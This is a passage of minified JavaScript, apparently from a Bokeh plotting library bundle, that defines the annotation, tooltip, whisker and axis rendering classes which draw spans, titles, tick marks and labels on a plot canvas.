t.plot_view.request_render()})):(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.properties.location.change,function(){return t._draw_span()}))},t.prototype.render=function(){this.model.visible||\\\"css\\\"!=this.model.render_mode||c.hide(this.el),this.model.visible&&this._draw_span()},t.prototype._draw_span=function(){var i=this,n=this.model.for_hover?this.model.computed_location:this.model.location;if(null!=n){var t,e,r,o,s=this.plot_view.frame,a=s.xscales[this.model.x_range_name],l=s.yscales[this.model.y_range_name],h=function(t,e){return i.model.for_hover?i.model.computed_location:\\\"data\\\"==i.model.location_units?t.compute(n):e.compute(n)};if(\\\"width\\\"==this.model.dimension?(r=h(l,s.yview),e=s._left.value,o=s._width.value,t=this.model.properties.line_width.value()):(r=s._top.value,e=h(a,s.xview),o=this.model.properties.line_width.value(),t=s._height.value),\\\"css\\\"==this.model.render_mode)this.el.style.top=r+\\\"px\\\",this.el.style.left=e+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.height=t+\\\"px\\\",this.el.style.backgroundColor=this.model.properties.line_color.value(),this.el.style.opacity=this.model.properties.line_alpha.value(),c.show(this.el);else if(\\\"canvas\\\"==this.model.render_mode){var u=this.plot_view.canvas_view.ctx;u.save(),u.beginPath(),this.visuals.line.set_value(u),u.moveTo(e,r),\\\"width\\\"==this.model.dimension?u.lineTo(e+o,r):u.lineTo(e,r+t),u.stroke(),u.restore()}}else c.hide(this.el)},t}(r.AnnotationView);i.SpanView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Span\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({render_mode:[o.RenderMode,\\\"canvas\\\"],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],location:[o.Number,null],location_units:[o.SpatialUnits,\\\"data\\\"],dimension:[o.Dimension,\\\"width\\\"]}),this.override({line_color:\\\"black\\\"}),this.internal({for_hover:[o.Boolean,!1],computed_location:[o.Number,null]})},t}(r.Annotation);(i.Span=a).initClass()},function(t,e,i){var n=t(391),r=t(60),l=t(5),o=t(15),s=t(41),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),\\\"css\\\"==this.model.render_mode&&(this.el.classList.add(\\\"bk-annotation\\\"),this.plot_view.canvas_overlays.appendChild(this.el))},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?this.connect(this.model.change,function(){return t.render()}):this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype._calculate_text_dimensions=function(t,e){var i=t.measureText(e).width,n=s.get_text_height(this.visuals.text.font_value()).height;return[i,n]},t.prototype._calculate_bounding_box_dimensions=function(t,e){var i,n,r=this._calculate_text_dimensions(t,e),o=r[0],s=r[1];switch(t.textAlign){case\\\"left\\\":i=0;break;case\\\"center\\\":i=-o/2;break;case\\\"right\\\":i=-o;break;default:throw new Error(\\\"unreachable code\\\")}switch(t.textBaseline){case\\\"top\\\":n=0;break;case\\\"middle\\\":n=-.5*s;break;case\\\"bottom\\\":n=-1*s;break;case\\\"alphabetic\\\":n=-.8*s;break;case\\\"hanging\\\":n=-.17*s;break;case\\\"ideographic\\\":n=-.83*s;break;default:throw new Error(\\\"unreachable code\\\")}return[i,n,o,s]},t.prototype._canvas_text=function(t,e,i,n,r){this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e);t.save(),t.beginPath(),t.translate(i,n),r&&t.rotate(r),t.rect(o[0],o[1],o[2],o[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_value(t),t.fillText(e,0,0)),t.restore()},t.prototype._css_text=function(t,e,i,n,r){l.hide(this.el),this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e),s=this.visuals.border_line.line_dash.value(),a=s.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_value(t),this.visuals.background_fill.set_value(t),this.el.style.position=\\\"absolute\\\",this.el.style.left=i+o[0]+\\\"px\\\",this.el.style.top=n+o[1]+\\\"px\\\",this.el.style.color=\\\"\\\"+this.visuals.text.text_color.value(),this.el.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),this.el.style.font=\\\"\\\"+this.visuals.text.font_value(),this.el.style.lineHeight=\\\"normal\\\",r&&(this.el.style.transform=\\\"rotate(\\\"+r+\\\"rad)\\\"),this.visuals.background_fill.doit&&(this.el.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(this.el.style.borderStyle=\\\"\\\"+a,this.el.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",this.el.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),this.el.textContent=e,l.show(this.el)},t}(r.AnnotationView);i.TextAnnotationView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextAnnotation\\\",this.define({render_mode:[o.RenderMode,\\\"canvas\\\"]})},t}(r.Annotation);(i.TextAnnotation=h).initClass()},function(t,e,i){var n=t(391),r=t(74),s=t(5),o=t(15),a=t(49),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.text=new a.Text(this.model)},t.prototype._get_location=function(){var t,e,i=this.model.panel,n=this.model.offset;switch(i.side){case\\\"above\\\":case\\\"below\\\":switch(this.model.vertical_align){case\\\"top\\\":e=i._top.value+5;break;case\\\"middle\\\":e=i._vcenter.value;break;case\\\"bottom\\\":e=i._bottom.value-5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":t=i._left.value+n;break;case\\\"center\\\":t=i._hcenter.value;break;case\\\"right\\\":t=i._right.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"left\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._left.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._right.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._bottom.value-n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._top.value+n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"right\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._right.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._left.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._top.value+n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._bottom.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;default:throw new Error(\\\"unreachable code\\\")}return[t,e]},t.prototype.render=function(){if(this.model.visible){var t=this.model.text;if(null!=t&&0!=t.length){this.model.text_baseline=this.model.vertical_align,this.model.text_align=this.model.align;var e=this._get_location(),i=e[0],n=e[1],r=this.model.panel.get_label_angle_heuristic(\\\"parallel\\\"),o=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);o(this.plot_view.canvas_view.ctx,t,i,n,r)}}else\\\"css\\\"==this.model.render_mode&&s.hide(this.el)},t.prototype._get_size=function(){var t=this.model.text;if(null==t||0==t.length)return 0;var e=this.plot_view.canvas_view.ctx;return this.visuals.text.set_value(e),e.measureText(t).ascent+10},t}(r.TextAnnotationView);i.TitleView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Title\\\",this.prototype.default_view=l,this.mixins([\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({text:[o.String],text_font:[o.Font,\\\"helvetica\\\"],text_font_size:[o.FontSizeSpec,\\\"10pt\\\"],text_font_style:[o.FontStyle,\\\"bold\\\"],text_color:[o.ColorSpec,\\\"#444444\\\"],text_alpha:[o.NumberSpec,1],vertical_align:[o.VerticalAlign,\\\"bottom\\\"],align:[o.TextAlign,\\\"left\\\"],offset:[o.Number,0]}),this.override({background_fill_color:null,border_line_color:null}),this.internal({text_align:[o.TextAlign,\\\"left\\\"],text_baseline:[o.TextBaseline,\\\"bottom\\\"]})},t}(r.TextAnnotation);(i.Title=h).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(4),s=t(5),a=t(15),l=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.plot_view.canvas_events.appendChild(this.el),this._toolbar_views={},o.build_views(this._toolbar_views,[this.model.toolbar],{parent:this});var e=this._toolbar_views[this.model.toolbar.id];this.plot_view.visibility_callbacks.push(function(t){return e.set_visibility(t)})},t.prototype.remove=function(){o.remove_views(this._toolbar_views),i.prototype.remove.call(this)},t.prototype.render=function(){if(i.prototype.render.call(this),this.model.visible){var t=this.model.panel;this.el.style.position=\\\"absolute\\\",this.el.style.left=t._left.value+\\\"px\\\",this.el.style.top=t._top.value+\\\"px\\\",this.el.style.width=t._width.value+\\\"px\\\",this.el.style.height=t._height.value+\\\"px\\\",this.el.style.overflow=\\\"hidden\\\";var e=this._toolbar_views[this.model.toolbar.id];e.render(),s.empty(this.el),this.el.appendChild(e.el),s.show(this.el)}else s.hide(this.el)},t.prototype._get_size=function(){return 30},t}(r.AnnotationView);i.ToolbarPanelView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarPanel\\\",this.prototype.default_view=l,this.define({toolbar:[a.Instance]})},t}(r.Annotation);(i.ToolbarPanel=h).initClass()},function(t,e,i){var n=t(391),r=t(60),f=t(5),o=t(15);function v(t,e,i,n,r){var o;switch(t){case\\\"horizontal\\\":o=e<n?\\\"right\\\":\\\"left\\\";break;case\\\"vertical\\\":o=i<r?\\\"below\\\":\\\"above\\\";break;default:o=t}return o}i.compute_side=v;var s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),f.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.data.change,function(){return t._draw_tips()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-tooltip\\\")},t.prototype.render=function(){this.model.visible&&this._draw_tips()},t.prototype._draw_tips=function(){var t=this.model.data;if(f.empty(this.el),f.hide(this.el),this.model.custom?this.el.classList.add(\\\"bk-tooltip-custom\\\"):this.el.classList.remove(\\\"bk-tooltip-custom\\\"),0!=t.length){for(var e=this.plot_view.frame,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=r[2];if(!this.model.inner_only||e.bbox.contains(o,s)){var l=f.div({},a);this.el.appendChild(l)}}var h,u,c=t[t.length-1],_=c[0],p=c[1],d=v(this.model.attachment,_,p,e._hcenter.value,e._vcenter.value);switch(this.el.classList.remove(\\\"bk-right\\\"),this.el.classList.remove(\\\"bk-left\\\"),this.el.classList.remove(\\\"bk-above\\\"),this.el.classList.remove(\\\"bk-below\\\"),f.show(this.el),d){case\\\"right\\\":this.el.classList.add(\\\"bk-left\\\"),h=_+(this.el.offsetWidth-this.el.clientWidth)+10,u=p-this.el.offsetHeight/2;break;case\\\"left\\\":this.el.classList.add(\\\"bk-right\\\"),h=_-this.el.offsetWidth-10,u=p-this.el.offsetHeight/2;break;case\\\"below\\\":this.el.classList.add(\\\"bk-above\\\"),u=p+(this.el.offsetHeight-this.el.clientHeight)+10,h=Math.round(_-this.el.offsetWidth/2);break;case\\\"above\\\":this.el.classList.add(\\\"bk-below\\\"),u=p-this.el.offsetHeight-10,h=Math.round(_-this.el.offsetWidth/2);break;default:throw new Error(\\\"unreachable code\\\")}this.model.show_arrow&&this.el.classList.add(\\\"bk-tooltip-arrow\\\"),0<this.el.childNodes.length?(this.el.style.top=u+\\\"px\\\",this.el.style.left=h+\\\"px\\\"):f.hide(this.el)}},t}(r.AnnotationView);i.TooltipView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tooltip\\\",this.prototype.default_view=s,this.define({attachment:[o.String,\\\"horizontal\\\"],inner_only:[o.Bool,!0],show_arrow:[o.Bool,!0]}),this.override({level:\\\"overlay\\\"}),this.internal({data:[o.Any,[]],custom:[o.Any]})},t.prototype.clear=function(){this.data=[]},t.prototype.add=function(t,e,i){this.data=this.data.concat([[t,e,i]])},t}(r.Annotation);(i.Tooltip=a).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(62),a=t(15),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_model.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;if(this.visuals.line.doit)for(var e=0,i=this._lower_sx.length;e<i;e++)this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(this._lower_sx[e],this._lower_sy[e]),t.lineTo(this._upper_sx[e],this._upper_sy[e]),t.stroke();var n=\\\"height\\\"==this.model.dimension?0:Math.PI/2;if(null!=this.model.lower_head)for(var e=0,i=this._lower_sx.length;e<i;e++)t.save(),t.translate(this._lower_sx[e],this._lower_sy[e]),t.rotate(n+Math.PI),this.model.lower_head.render(t,e),t.restore();if(null!=this.model.upper_head)for(var e=0,i=this._upper_sx.length;e<i;e++)t.save(),t.translate(this._upper_sx[e],this._upper_sy[e]),t.rotate(n),this.model.upper_head.render(t,e),t.restore()}},t}(r.AnnotationView);i.WhiskerView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Whisker\\\",this.prototype.default_view=l,this.mixins([\\\"line\\\"]),this.define({lower:[a.DistanceSpec],lower_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],upper:[a.DistanceSpec],upper_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],base:[a.DistanceSpec],dimension:[a.Dimension,\\\"height\\\"],source:[a.Instance,function(){return new o.ColumnDataSource}],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\"})},t}(r.Annotation);(i.Whisker=h).initClass()},function(t,e,i){var n=t(391),r=t(187),o=t(15),s=t(12),l=t(21),T=t(44),a=t(181),h=Math.abs,u=Math.min,c=Math.max,_=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.render=function(){if(this.model.visible){var t={tick:this._tick_extent(),tick_label:this._tick_label_extents(),axis_label:this._axis_label_extent()},e=this.model.tick_coords,i=this.plot_view.canvas_view.ctx;i.save(),this._draw_rule(i,t),this._draw_major_ticks(i,t,e),this._draw_minor_ticks(i,t,e),this._draw_major_labels(i,t,e),this._draw_axis_label(i,t,e),null!=this._render&&this._render(i,t,e),i.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},t.prototype._get_size=function(){return null!=this.model.fixed_location?0:this._tick_extent()+this._tick_label_extent()+this._axis_label_extent()},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return null!=this.model.fixed_location},enumerable:!0,configurable:!0}),t.prototype._draw_rule=function(t,e){if(this.visuals.axis_line.doit){var i=this.model.rule_coords,n=i[0],r=i[1],o=this.plot_view.map_to_screen(n,r,this.model.x_range_name,this.model.y_range_name),s=o[0],a=o[1],l=this.model.normals,h=l[0],u=l[1],c=this.model.offsets,_=c[0],p=c[1];this.visuals.axis_line.set_value(t),t.beginPath(),t.moveTo(Math.round(s[0]+h*_),Math.round(a[0]+u*p));for(var d=1;d<s.length;d++){var f=Math.round(s[d]+h*_),v=Math.round(a[d]+u*p);t.lineTo(f,v)}t.stroke()}},t.prototype._draw_major_ticks=function(t,e,i){var n=this.model.major_tick_in,r=this.model.major_tick_out,o=this.visuals.major_tick_line;this._draw_ticks(t,i.major,n,r,o)},t.prototype._draw_minor_ticks=function(t,e,i){var n=this.model.minor_tick_in,r=this.model.minor_tick_out,o=this.visuals.minor_tick_line;this._draw_ticks(t,i.minor,n,r,o)},t.prototype._draw_major_labels=function(t,e,i){var n=i.major,r=this.model.compute_labels(n[this.model.dimension]),o=this.model.major_label_orientation,s=e.tick+this.model.major_label_standoff,a=this.visuals.major_label_text;this._draw_oriented_labels(t,r,n,o,this.model.panel.side,s,a)},t.prototype._draw_axis_label=function(t,e,i){if(null!=this.model.axis_label&&0!=this.model.axis_label.length&&null==this.model.fixed_location){var n,r;switch(this.model.panel.side){case\\\"above\\\":n=this.model.panel._hcenter.value,r=this.model.panel._bottom.value;break;case\\\"below\\\":n=this.model.panel._hcenter.value,r=this.model.panel._top.value;break;case\\\"left\\\":n=this.model.panel._right.value,r=this.model.panel._vcenter.value;break;case\\\"right\\\":n=this.model.panel._left.value,r=this.model.panel._vcenter.value;break;default:throw new Error(\\\"unknown side: \\\"+this.model.panel.side)}var o=[[n],[r]],s=e.tick+l.sum(e.tick_label)+this.model.axis_label_standoff,a=this.visuals.axis_label_text;this._draw_oriented_labels(t,[this.model.axis_label],o,\\\"parallel\\\",this.model.panel.side,s,a,\\\"screen\\\")}},t.prototype._draw_ticks=function(t,e,i,n,r){if(r.doit){var o=e[0],s=e[1],a=this.plot_view.map_to_screen(o,s,this.model.x_range_name,this.model.y_range_name),l=a[0],h=a[1],u=this.model.normals,c=u[0],_=u[1],p=this.model.offsets,d=p[0],f=p[1],v=[c*(d-i),_*(f-i)],m=v[0],g=v[1],y=[c*(d+n),_*(f+n)],b=y[0],x=y[1];r.set_value(t);for(var w=0;w<l.length;w++){var k=Math.round(l[w]+b),S=Math.round(h[w]+x),C=Math.round(l[w]+m),T=Math.round(h[w]+g);t.beginPath(),t.moveTo(k,S),t.lineTo(C,T),t.stroke()}}},t.prototype._draw_oriented_labels=function(t,e,i,n,r,o,s,a){var l,h,u;if(void 0===a&&(a=\\\"data\\\"),s.doit&&0!=e.length){var c,_,p,d;if(\\\"screen\\\"==a)c=i[0],_=i[1],p=(l=[0,0])[0],d=l[1];else{var f=i[0],v=i[1];h=this.plot_view.map_to_screen(f,v,this.model.x_range_name,this.model.y_range_name),c=h[0],_=h[1],u=this.model.offsets,p=u[0],d=u[1]}var m,g=this.model.normals,y=g[0],b=g[1],x=y*(p+o),w=b*(d+o);s.set_value(t),this.model.panel.apply_label_text_heuristics(t,n),m=T.isString(n)?this.model.panel.get_label_angle_heuristic(n):-n;for(var k=0;k<c.length;k++){var S=Math.round(c[k]+x),C=Math.round(_[k]+w);t.translate(S,C),t.rotate(m),t.fillText(e[k],0,0),t.rotate(-m),t.translate(-S,-C)}}},t.prototype._axis_label_extent=function(){if(null==this.model.axis_label||\\\"\\\"==this.model.axis_label)return 0;var t=this.model.axis_label_standoff,e=this.visuals.axis_label_text;return this._oriented_labels_extent([this.model.axis_label],\\\"parallel\\\",this.model.panel.side,t,e)},t.prototype._tick_extent=function(){return this.model.major_tick_out},t.prototype._tick_label_extent=function(){return l.sum(this._tick_label_extents())},t.prototype._tick_label_extents=function(){var t=this.model.tick_coords.major,e=this.model.compute_labels(t[this.model.dimension]),i=this.model.major_label_orientation,n=this.model.major_label_standoff,r=this.visuals.major_label_text;return[this._oriented_labels_extent(e,i,this.model.panel.side,n,r)]},t.prototype._oriented_labels_extent=function(t,e,i,n,r){if(0==t.length)return 0;var o,s,a=this.plot_view.canvas_view.ctx;r.set_value(a),T.isString(e)?(o=1,s=this.model.panel.get_label_angle_heuristic(e)):(o=2,s=-e),s=Math.abs(s);for(var l=Math.cos(s),h=Math.sin(s),u=0,c=0;c<t.length;c++){var _=1.1*a.measureText(t[c]).width,p=.9*a.measureText(t[c]).ascent,d=void 0;u<(d=\\\"above\\\"==i||\\\"below\\\"==i?_*h+p/o*l:_*l+p/o*h)&&(u=d)}return 0<u&&(u+=n),u},t}(r.GuideRendererView);i.AxisView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Axis\\\",this.prototype.default_view=_,this.mixins([\\\"line:axis_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"text:major_label_\\\",\\\"text:axis_label_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],ticker:[o.Instance,null],formatter:[o.Instance,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],axis_label:[o.String,\\\"\\\"],axis_label_standoff:[o.Int,5],major_label_standoff:[o.Int,5],major_label_orientation:[o.Any,\\\"horizontal\\\"],major_label_overrides:[o.Any,{}],major_tick_in:[o.Number,2],major_tick_out:[o.Number,6],minor_tick_in:[o.Number,0],minor_tick_out:[o.Number,4],fixed_location:[o.Any,null]}),this.override({axis_line_color:\\\"black\\\",major_tick_line_color:\\\"black\\\",minor_tick_line_color:\\\"black\\\",major_label_text_font_size:\\\"8pt\\\",major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"alphabetic\\\",axis_label_text_font_size:\\\"10pt\\\",axis_label_text_font_style:\\\"italic\\\"})},t.prototype.add_panel=function(t){this.panel=new s.SidePanel({side:t}),this.panel.attach_document(this.document)},Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this.panel.normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this.panel.dimension},enumerable:!0,configurable:!0}),t.prototype.compute_labels=function(t){for(var e=this.formatter.doFormat(t,this),i=0;i<t.length;i++)t[i]in this.major_label_overrides&&(e[i]=this.major_label_overrides[t[i]]);return e},Object.defineProperty(t.prototype,\\\"offsets\\\",{get:function(){var t=this.plot.plot_canvas.frame,e=[0,0],i=e[0],n=e[1];switch(this.panel.side){case\\\"below\\\":n=h(this.panel._top.value-t._bottom.value);break;case\\\"above\\\":n=h(this.panel._bottom.value-t._top.value);break;case\\\"right\\\":i=h(this.panel._left.value-t._right.value);break;case\\\"left\\\":i=h(this.panel._right.value-t._left.value)}return[i,n]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ranges\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_bounds\\\",{get:function(){var t=this.ranges[0],e=this.bounds,i=[t.min,t.max];if(\\\"auto\\\"==e)return[t.min,t.max];if(T.isArray(e)){var n=void 0,r=void 0,o=e[0],s=e[1],a=i[0],l=i[1];return h(o-s)>h(a-l)?(n=c(u(o,s),a),r=u(c(o,s),l)):(n=u(o,s),r=c(o,s)),[n,r]}throw new Error(\\\"user bounds '\\\"+e+\\\"' not understood\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"rule_coords\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=new Array(2),a=new Array(2),l=[s,a];return l[t][0]=Math.max(r,i.min),l[t][1]=Math.min(o,i.max),l[t][0]>l[t][1]&&(l[t][0]=l[t][1]=NaN),l[e][0]=this.loc,l[e][1]=this.loc,l},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){for(var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=this.ticker.get_ticks(r,o,i,this.loc,{}),a=s.major,l=s.minor,h=[[],[]],u=[[],[]],c=[i.min,i.max],_=c[0],p=c[1],d=0;d<a.length;d++)a[d]<_||a[d]>p||(h[t].push(a[d]),h[e].push(this.loc));for(var d=0;d<l.length;d++)l[d]<_||l[d]>p||(u[t].push(l[d]),u[e].push(this.loc));return{major:h,minor:u}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"loc\\\",{get:function(){if(null!=this.fixed_location){if(T.isNumber(this.fixed_location))return this.fixed_location;var t=this.ranges,e=t[1];if(e instanceof a.FactorRange)return e.synthetic(this.fixed_location);throw new Error(\\\"unexpected\\\")}var i=this.ranges,n=i[1];switch(this.panel.side){case\\\"left\\\":case\\\"below\\\":return n.start;case\\\"right\\\":case\\\"above\\\":return n.end}},enumerable:!0,configurable:!0}),t}(r.GuideRenderer);(i.Axis=p).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(208),s=t(105),a=t(15),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){this._draw_group_separators(t,e,i)},e.prototype._draw_group_separators=function(t,e,i){var n,r=this.model.ranges[0],o=this.model.computed_bounds,s=o[0],a=o[1];if(r.tops&&!(r.tops.length<2)&&this.visuals.separator_line.doit){for(var l=this.model.dimension,h=(l+1)%2,u=[[],[]],c=0,_=0;_<r.tops.length-1;_++){for(var p=void 0,d=void 0,f=c;f<r.factors.length;f++)if(r.factors[f][0]==r.tops[_+1]){n=[r.factors[f-1],r.factors[f]],p=n[0],d=n[1],c=f;break}var v=(r.synthetic(p)+r.synthetic(d))/2;s<v&&v<a&&(u[l].push(v),u[h].push(this.model.loc))}var m=this._tick_label_extent();this._draw_ticks(t,u,-3,m-6,this.visuals.separator_line)}},e.prototype._draw_major_labels=function(t,e,i){for(var n=this._get_factor_info(),r=e.tick+this.model.major_label_standoff,o=0;o<n.length;o++){var s=n[o],a=s[0],l=s[1],h=s[2],u=s[3];this._draw_oriented_labels(t,a,l,h,this.model.panel.side,r,u),r+=e.tick_label[o]}},e.prototype._tick_label_extents=function(){for(var t=this._get_factor_info(),e=[],i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[2],a=r[3],l=this._oriented_labels_extent(o,s,this.model.panel.side,this.model.major_label_standoff,a);e.push(l)}return e},e.prototype._get_factor_info=function(){var t=this.model.ranges[0],e=this.model.computed_bounds,i=e[0],n=e[1],r=this.model.loc,o=this.model.ticker.get_ticks(i,n,t,r,{}),s=this.model.tick_coords,a=[];if(1==t.levels){var l=this.model.formatter.doFormat(o.major,this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text])}else if(2==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[1]}),this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}else if(3==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[2]}),this.model),h=o.mids.map(function(t){return t[1]});a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([h,s.mids,this.model.subgroup_label_orientation,this.visuals.subgroup_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}return a},e}(r.AxisView);i.CategoricalAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalAxis\\\",this.prototype.default_view=l,this.mixins([\\\"line:separator_\\\",\\\"text:group_\\\",\\\"text:subgroup_\\\"]),this.define({group_label_orientation:[a.Any,\\\"parallel\\\"],subgroup_label_orientation:[a.Any,\\\"parallel\\\"]}),this.override({ticker:function(){return new o.CategoricalTicker},formatter:function(){return new s.CategoricalTickFormatter},separator_line_color:\\\"lightgrey\\\",separator_line_width:2,group_text_font_style:\\\"bold\\\",group_text_font_size:\\\"8pt\\\",group_text_color:\\\"grey\\\",subgroup_text_font_style:\\\"bold\\\",subgroup_text_font_size:\\\"8pt\\\"})},Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){var e=this,t=this.dimension,i=(t+1)%2,n=this.ranges[0],r=this.computed_bounds,o=r[0],s=r[1],a=this.ticker.get_ticks(o,s,n,this.loc,{}),l={major:[[],[]],mids:[[],[]],tops:[[],[]],minor:[[],[]]};return l.major[t]=a.major,l.major[i]=a.major.map(function(t){return e.loc}),3==n.levels&&(l.mids[t]=a.mids),l.mids[i]=a.mids.map(function(t){return 